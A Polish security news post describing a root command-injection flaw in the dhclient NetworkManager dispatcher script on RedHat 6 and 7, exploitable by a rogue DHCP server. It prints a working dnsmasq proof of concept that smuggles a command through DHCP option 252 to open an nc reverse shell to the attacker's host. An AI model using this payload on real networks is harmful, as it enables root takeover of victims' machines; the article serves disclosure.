RedHat – wykonywanie kodu po stronie klienta DHCP

Felix Wilhelm z Google Security Team zgłosił błąd w działaniu klienta DHCP (dhclient) dotykający dystrybucje RedHat w wersji 6 i 7. Spreparowany serwer DHCP lub atakujący znajdujący się w sieci lokalnej, który może sfałszować odpowiedzi serwera DHCP jest w stanie wykorzystać wspomnianą lukę w celu wykonania dowolnych poleceń z prawami administratora na systemach używających NetworkManagera, które wykorzystują protokół DHCP do uzyskania konfiguracji sieci.

Protokół DHCP jest używany do konfiguracji sieciowej hostów z poziomu centralnego serwera. Kiedy host podłącza się do sieci może rozgłosić w niej żądania DHCP w celu otrzymania prawidłowej konfiguracji pod postacią adresu IP, bramy (routera), serwerów DNS itp. Pakiet instalacyjny programu klienta DHCP – dhclient dostarczony przez RedHat posiada skrypt /etc/NetworkManager/dispatcher.d/11-dhclient ( RH v7 ) lub /etc/NetworkManager/dispatcher.d/10-dhclient ( RH v6 ) jako komponent NetworkManagera. Jest on wykonywany za każdym razem kiedy manager otrzyma odpowiedź od serwera DHCP. Spreparowana odpowiedź serwera DHCP może spowodować, że skrypt ten wykona dowolne polecenia w powłoce systemu z uprawnieniami administratora.

Dowód koncepcji sprowadza się do wstrzyknięcia odwróconej powłoki na maszynie ofiary, do której możemy połączyć się z zdalnego, obcego systemu:

1
2
3
4
dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo
--dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null
--dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1
--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

źródło: nfsec.pl

 

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *